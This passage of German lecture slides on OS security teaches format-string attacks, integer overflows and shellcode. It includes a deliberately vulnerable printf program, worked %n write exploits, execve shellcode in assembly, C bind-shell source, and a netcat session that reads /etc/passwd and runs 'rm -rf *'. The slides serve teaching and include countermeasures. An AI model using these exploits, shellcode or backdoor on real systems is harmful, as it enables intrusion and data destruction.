printf("count_two is located at: %08x\n", &count_two);
/* Example of a %n format string */
printf("The number of bytes written up to this point X%n is being stored \
in count_one, and the number of bytes up to here X%n is being stored in \
count_two.\n", &count_one, &count_two);
printf("count_one: %d\n", count_one);
printf("count_two: %d\n", count_two);
/* Stack Example */
printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B);
return 0;
}
71 / 109
Explizite Adressierung von Argumenten
I
Zur direkten Adressierung von Argumenten im
Formatstring dient der ’$’-Operator
I
Zählung ab 1
#include <stdio.h>
int main(void)
{
printf("%2$s%1$s%3$s%1$s\n", "otz", "H", "enpl");
return 0;
}
Beispiel für Nutzung des $-Operanden im Formatstring
72 / 109
Stacklayout
printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B);
Adresse von B
Wert von B
Parameter von
printf()
Adresse von A
Wert von A
Adresse des
fmtstring
<RET>
SP
Low
73 / 109
Beispiel für verwundbare Funktion
fmt_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char text[1024];
static int test_val = -72;
if(argc < 2){
printf("Usage: %s <text to print>\n", argv[0]);
exit(0);
}
strcpy(text, argv[1]);
/* The right way to print user-controlled input: */
printf("The right way:\n");
printf("%s", text);
/* The wrong way to print user-controlled input: */
printf("\nThe wrong way:\n");
printf(text);
printf("\n");
/* Debug output */
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
return 0;
}
74 / 109
bisschen ausprobieren . . .
robge@hadrian$ ./fmt_vuln Ni%x
The right way:
Ni%x
The wrong way:
Nibffff3e4
robge@hadrian$ ./fmt_vuln ‘perl -e ’print "%08x."x40;’‘
The right way:
08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
The wrong way:
bffff334.b7ff3de7.b80016a4.bffff750.78383025.3830252e.30252e78.252e7838.2e783830.
78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.
2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.
252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
30252e78.252e7838.2e783830.78383025.
[*] test_val @ 0x08049794 = -72 0xffffffb8
I
Stack auslesbar
75 / 109
Gezieltes Auslesen einer Adresse
deadbeef.c
#include <stdio.h>
int main(void)
{
printf ("\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|")
;
return 0;
}
(im Datensegment)
"\xef\xbe\xad\xde_%08x.%08x.%08x.%08x|%s|"
SP += 4
Argument des
printf()−Rufs
fmt−string
<RET>
sfp
FP
Zeichenkette ab Adresse 0xdeadbeef wird
mittels %s ausgegeben.
local vars
SP
Low
Abbildung: Zustand des Stacks nach Eintritt in printf()
76 / 109
Gezieltes Auslesen
I
%08x-Platzhalter bewegen SP so weit, bis fmt-string (1.
Argument des printf()-Rufes) TOS ist
I
%s-Platzhalter gibt Zeichenkette aus, die durch TOS
referenziert wird
→ Dump (im Beispiel) des Speicherinhalts ab Adresse
0xdeadbeef
→ beliebige Adressen als Zeichenketten-Dump auslesbar
I
Beendigung bei Lesen eines ’\0’-Bytes
77 / 109
Auslesen mittels fmt_vuln
$ ./fmt_vuln ‘printf "\x89\xfd\xff\xbf"‘%x%x%x%x:%s:
The right way:
ýÿ¿%x%x%x%x:%s:
The wrong way:
ýÿ¿bffff3f4b7ff3de7b80016a4bffff810:PATH=/usr/local/bin:
/usr/bin:/bin:/usr/bin/X11:/usr/games:~/bin:/opt/uClinux
/bfin-elf/bin/:/opt/uClinux/bfin-uclinux/bin:/opt/uClinu
x/bfin-linux-uclibc/bin:
78 / 109
Beschreiben beliebiger Adressen
Idee: gleiche Technik wie beim Auslesen, jedoch Beschreiben
mittels ’%n’-Platzhalter:
$ ./fmt_vuln ‘printf "\x94\x97\x04\x08"‘%x.%x.%x.%x%n
The right way:
x.%x.%x.%x%n
The wrong way:
bffff3e4.b7ff3de7.b80016a4.bffff800
[*] test_val @ 0x08049794 = 39 0x00000027
Problem: geschriebener Wert hängt von Anzahl ausgegebener
Zeichen ab
Idee: Beeinflussung mittels Feldbreite-Option
79 / 109
Schreiben beliebiger Werte
fmtstring-ex2.c
#include <stdio.h>
int main(void)
{
unsigned char canary[5];
unsigned char foo[4];
memset(foo, ’\x00’, sizeof(foo));
/* 0 before */ strcpy(canary, "AAAA");
printf("canary: %02x%02x%02x%02x\n", canary[0],
canary[1],
canary[2], canary[3]);
/* 1 */ printf("%16u%n", 7350, (int*) &foo[0]);
/* 2 */ printf("%32u%n", 7350, (int*) &foo[1]);
/* 3 */ printf("%64u%n", 7350, (int*) &foo[2]);
/* 4 */ printf("%128u%n", 7350, (int*) &foo[3]);
/* 5 after */ printf("%02x%02x%02x%02x\n", foo[0],
foo[1],
foo[2], foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0],
canary[1],
canary[2], canary[3]);
80 / 109
Ablauf der Schreibzugriffe beim Schreiben beliebiger
Werte
[0]
foo
canary
[1] [2] [3] [0] [1] [2] [3] [4]
/* 0 */
0x00 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
/* 1 */
0x10 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
/* 2 */
0x10 0x20 0x00 0x00 0x00 0x41 0x41 0x41 0x00
/* 3 */
0x10 0x20 0x40 0x00 0x00 0x00 0x41 0x41 0x00
/* 4 */
0x10 0x20 0x40 0x80 0x00 0x00 0x00 0x41 0x00
81 / 109
Anmerkungen
I
1 Byte pro printf()-Aufruf geschrieben
I
unmittelbar davor befindliche 3 Bytes werden mit dieser
Technik überschrieben (hier: Variable canary)
I
Voraussetzung: unausgerichteter Schreibzugriff möglich
I
in ein- und demselben Formatstring können offenbar nur
aufsteigende Werte geschrieben werden (warum?)
82 / 109
Schreiben beliebiger Werte in einem Formatstring
fmtstring-ex3.c
#include <stdio.h>
int main(void)
{
unsigned char canary[5];
unsigned char foo[4];
memset(foo, ’\x00’, sizeof(foo));
/* 0 before */ strcpy(canary, "AAAA");
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1],
canary[2], canary[3]);
/* 1-4 in one string */
printf("%16u%n%16u%n%32u%n%64u%n", 1 , (int*) &foo[0], 1,
(int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &foo[3]);
/* 5 after */ printf("\nfoo:
%02x%02x%02x%02x\n",
foo[0], foo[1], foo[2], foo[3]);
printf("canary: %02x%02x%02x%02x\n", canary[0], canary[1],
canary[2], canary[3]);
return 0;
}
83 / 109
Schreiben ohne Monotonie
I
Subtraktion bei %n-Platzhalter unmöglich
I
Wert wrappt jedoch um (Byte)
für das vorige Beispiel also
printf("%128u%n%192u%n%224u%n%240u%n", 1 , (int*) &
foo[0],
1, (int*) &foo[1], 1, (int*) &foo[2], 1, (int*) &
foo[3]);
, um 0x80402010 in die Variable foo zu schreiben
84 / 109
Schreiben ohne Monotonie, Beispiel 2
$ ./fmt_vuln ‘printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08
JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08"‘%x%x%x%169x%n%23
9x%n%239x%n%239x%n
The right way:
JUNJUNJUN%x%x%x%169x%n%239x%n%239x%n%239x%n
The wrong way:
JUNJUNJUNbffff3b4b7ff3de7b80016a4
[*] test_val @ 0x08049794 = -1430532899 0xaabbccdd
85 / 109
Verwundbares Programm, die zweite
fmtstring-ex1.c
#include <stdio.h>
int main(void)
{
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
return 0;
}
I
durch Nutzung von % -Platzhaltern in user kann outbuf
zum Überlauf gebracht werden
I
Beispiel: user = "%200d<nops><shellcode>"
buffer = ERR Wrong Command: ... %200d<nops><shellcode>
I
klassischer Buffer Overflow möglich
86 / 109
Verwundbares Programm, die zweite
fmtstring-ex1.c
#include <stdio.h>
int main(void)
{
char outbuf[512];
char buffer[512];
sprintf (buffer, "ERR Wrong command: %400s", user);
sprintf (outbuf, buffer);
return 0;
}
I
durch Nutzung von % -Platzhaltern in user kann outbuf
zum Überlauf gebracht werden
I
Beispiel: user = "%200d<nops><shellcode>"
buffer = ERR Wrong Command: ... %200d<nops><shellcode>
I
klassischer Buffer Overflow möglich
87 / 109
Gegenmaßnahmen gegen Formatstring-Angriff
I
Niemals nutzergenerierte Zeichenketten als Formatstring
interpretieren!
I
GCC kennt (neuerdings) verschiedene Schalter, die
potentiell gefährliche printf()-Aufrufe entdecken:
gcc -Wformat -Wformat-security fmt_vuln.c
fmt_vuln.c: In function ’main’:
fmt_vuln.c:22: warning: format not a string literal and no
format arguments
fmt_vuln.c:26: warning: format ’%08x’ expects type ’unsigned
int’, but argument 2 has type ’int *’
88 / 109
Formatstring-Angriffe
Zusammenfassung
Ziel: printf()-Familie
Angriffsidee:
I
Manipulation des Formatstring (Anzahl und Art der
Platzhalter)
Formen des Angriffs:
I
Provokation eines Absturzes (DoS)
I
Ausspähen des Hauptspeichers
I
gezielte Schreibzugriffe mittels ’%n’-Platzhalter
Im Gegensatz zum Buffer Overflow kann mittels
Formatstring-Attacke eine beliebige Adresse manipuliert
werden!
Erster publizierter Angriff:
http://seclists.org/bugtraq/1999/Sep/0328.html
89 / 109
Leseempfehlungen
I
Jon Erickson. Hacking: The Art of Exploitation. 2. Aufl. No
Starch Press, 2008
I
“Solar Designer”. Getting around non-executable stack
(and fix). Mail to BugTraq Mailinglist. Aug. 1997
I
“scut/team teso”. Exploiting Format String Vulnerabilities.
Sep. 2001
I
“gera” and “riq”. “Advances in format string exploitation”.
In: Phrack 11.59 (Juli 2002). URL: http:
//www.phrack.org/issues/59/7.html#article
90 / 109
Heap-Overflow
I
Idee: Manipulation von auf dem Heap angelegten
Variablen durch das Überfluten eines unmittelbar davor
gelegenen Puffers
I
keine Rückkehradresse → implizite Manipulation des
Programmflusses unmöglich
I
Reihenfolge der Adressen abhängig von
Allokationsreihenfolge
I
Exploit weniger regulär (abhängig vom Typ der
manipulierten Information)
91 / 109
Integer-Overflow
Idee: Überlauf des Zahlenbereichs von Integervariablen führt
zu negativen Zahlen, die in Vergleichsoperationen und als
Funktionsargumente unterschiedlich interpretiert werden.
I
kein Schadcode ausführbar
I
Ziel: DoS
Literatur: “blexim”. “Basic Integer Overflows”. In: Phrack 11.60
(Dez. 2002). URL: http:
//www.phrack.org/issues/60/10.html#article
92 / 109
Integer-Overflow
Beispiel
int copybuffer (char *buffer, int len)
{
char mybuffer[800];
if (len > sizeof(mybuffer)) {
return -1;
}
return memcpy(mybuffer, buffer, len);
}
Typisches Beispiel eines Vorzeichen-Bugs
Analyse:
I
memcpy erwartet unsigned int als 3. Parameter
I
negatives len durch Test nicht erkannt
I
→ wird als (sehr große) Längenangabe interpretiert
I
Überlauf von mybuffer
93 / 109
Angriffscode
94 / 109
Shellcode
Motivation
„The best way to develop your skill in detecting and
securing against shellcode is to first master the art of
writing it.“ (Foster, S. 56)
Literatur:
I
James C. Foster u. a. Buffer Overflow Attacks. Syngress,
Feb. 2005, Chapter 3
I
Chris Anley u. a. The Shellcoder’s Handbook. 2. Aufl.
Wiley, Aug. 2007
I
“smiler”. The Art of Writing Shellcode. o. J.
I
http://www.shell-storm.org/shellcode/
95 / 109
Shellcode – Merkmale
I
= Code, der in ein Programm (nachträglich und illegal)
eingefügt und ausgeführt wird
I
Angriffscode für verschiedene Attacken
I
in Assembler programmiert (Warum?)
I
sehr klein (Size matters!)
I
effizient
I
sehr system- und architekturspezifisch
I
Einsatz von Systemrufen oder libc-Funktionen
I
keine Fehlerprüfung: entweder es geht oder nicht
(hier: Beschränkung auf IA32 unter Linux ; die Prinzipien unter Windows
differieren teilweise erheblich, vgl. Anley at al)
96 / 109
Systemruf
I
BS bietet dem Programmierer Funktionen, diese werden
über Systemrufe zur Verfügung gestellt
I
Gesamtheit aller Systemrufe eines BS ist dessen
Application Programmer’s Interface (API)
I
Nutzung analog den Funktionen einer Bibliothek mit einem
Unterschied: Diensterbringung erfolgt im Kernel Mode
I
→ gewöhnlicher Funktionsaufruf als Mechanismus
unbrauchbar!
I
Systemrufe können blockieren!
I
Beispiele: fork(), read(), mmap(), semget()
97 / 109
Prinzip eines Systemrufs
User Mode
Applikation
Kernel Mode
Betriebssystem
f
Systemru
System−
dienst
98 / 109
Prinzipieller Ablauf beim Systemruf read()
count = read(fd, buffer, nbytes);
user space
return to caller
library
call
TRAP into kernel
5
put # for read in register
10
4
11
9
adjust stack
6
call read
kernel
space
dispatch
syscall
3
push fd
2
push &buffer
1
push nbytes
7
user
program
8
syscall
handler
99 / 109
Ablauf von WriteFile() in Windows 2000/XP/Vista
Win32 application
Call WriteFile(...)
KERNEL32.DLL
Call NtWriteFile()
Return to Caller
NtWriteFile()
in NTDLL.DLL
int 0x2e
Return to Caller
WriteFile() in
Win32−
specific
Used by all
subsystems
User Mode
Kernel Mode
Software Interrupt
SystemService in
NTOSKRNL.EXE
NtWriteFile() in
NTOSKRNL.EXE
Call NtWriteFile()
Dismiss Interrupt
Do the Operation
Return to Caller
(David Solomon: Inside Windows 2000, Microsoft Press)
100 / 109
Was geschieht bei einem Linux-Systemruf?
Architektur: IA32 (aka Intel-PC)
I
Systemrufnummer in EAX
I
Argumente in EBX, ECX, EDX, ESI, EDI, EBP (in dieser
Reihenfolge)
I
Systemeintritt durch int 0x80
I
(Systemdienst wird im Kernelmode ausgeführt)
I
Resultatwert in EAX
I
Systemaustritt mittels iret
Systemrufnummern: http://asm.sourceforge.net/syscall.html
101 / 109
Beispiel
robge@hadrian:~$ cat exit.c
#include <stdlib.h>
int main(void)
{
exit(0);
}
robge@hadrian:~$ gcc -static -o exit exit.c
robge@hadrian:~$ objdump -d exit
...
0804db7c <_exit>:
804db7c:
8b 5c 24 04
mov
0x4(%esp),%ebx
804db80:
b8 fc 00 00 00
mov
$0xfc,%eax
804db85:
cd 80
int
$0x80
804db87:
b8 01 00 00 00
mov
$0x1,%eax
804db8c:
cd 80
int
$0x80
804db8e:
f4
hlt
804db8f:
90
nop
...
102 / 109
„Hello, world!“ als Shellcode
.text
.global _start
_start:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %edx, %edx
jmp string
/* push string addr */
code:
pop %ecx
movb $01, %bl
movb $15, %dl
movb $04, %al
int $0x80
decb %bl
movb $01,%al
int $0x80
/*
/*
/*
/*
ecx <-- string addr */
filedesc, stdout */
string lgth */
’write(stdout, addr, lgth)’ */
/* ’exit(0)’ */
string:
call code
.ascii "Hello, world!\x0a\x00"
103 / 109
Beispiel: Aufruf einer Shell
I
„Klassiker“, tausende Varianten
I
nutzen typischerweise execve in folgender Manier:
# i n c l u d e < s t d i o . h>
i n t main ( v o i d )
{
char ∗cmd = "/bin/sh" ;
char ∗ args [ 2 ] ;
args [ 0 ] = "robixd" ;
args [ 1 ] = NULL ;
execve ( cmd , args , NULL ) ;
}
104 / 109
Aufruf einer Shell
Nachbau in Assembler
.text
.global _start
_start:
jmp callit
doit:
popl %ebx
xorl %eax, %eax
cdq
movb %al, 7(%ebx)
movl %ebx, 8(%ebx)
movl %eax, 12(%ebx)
leal 8(%ebx),%ecx
movb $0x0b, %al
int $0x80
/*1* ebx <-- &"/bin/sh" */
/* eax <-- 0 */
/* edx:eax <-- eax */
/*2* zeroterminate "/bin/sh" */
/*3* args[0] = &"/bin/sh" */
/*4* args[1] = NULL */
/*5* ecx <-- &args */
/* execve() */
callit:
call doit
.ascii "/bin/sh"
105 / 109
Bindung der Shell an einen Port
Implementierung in C
# i n c l u d e < n e t i n e t / i n . h>
i n t soc , c l i ;
s t r u c t s o c k a d d r _ in serv_addr ;
i n t main ( )
{
serv_addr . s i n _ f a m i l y =2;
serv_addr . s i n _ a d d r . s_addr =0;
serv_addr . s i n _ p o r t =0xAAAA ;
soc= s o c k e t ( 2 , 1 , 0 ) ;
b i n d ( soc , ( s t r u c t sockaddr ∗ )&serv_addr , 0 x10 ) ;
l i s t e n ( soc , 1 ) ;
c l i = accept ( soc , 0 , 0 ) ;
dup2 ( c l i , 0 ) ;
dup2 ( c l i , 1 ) ;
dup2 ( c l i , 2 ) ;
execve ( "/bin/sh" , 0 , 0 ) ;
}
106 / 109
„Anwendungsbeispiel“ für Bindshell
robge@idir:~$ nc 192.168.178.21 43690
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
rm -rf *
...
exit
I
dup2() ersetzt die stdin, stdout und stderr mit cli
I
Achtung! Das ist eine Backdoor.
I
Syscall-Folge: socket() → bind() → listen() →
accept() → dup2() (3x) →execve()
I
benötigt < 100 Bytes in Assembler (!)
107 / 109
Weiterführende Aspekte
I
Reverse Connection Shellcode – angegriffener Rechner
initiiert Verbindung
I
Socket Reusing – Erraten des Filedeskriptors eines bereits
im angegriffenen Programm eröffneten Sockets und
Nutzung desselben
I
Shellcode, der toupper() oder tolower() unbeschadet
übersteht
I
Windows-Shellcode
I
Encoding Shellcode
I
Shellcode für mehrere Systeme (z. B. Linux und *BSD)
108 / 109
Was haben wir gelernt?
I
Grundbegriffe der BS-Sicherheit
I
(sichere) Implementierung von
Authentifizierungsmechanismen
I
Buffer Overflow und Gegenmaßnahmen: Stackguard,
Stackshield, W⊕X, ASLR
I
Return-into-Libc-Exploit
I
Format-String-Attacken
I
Was ist eine Bindshell?
I
Fazit: Das ist erst der Anfang der Thematik!
109 / 109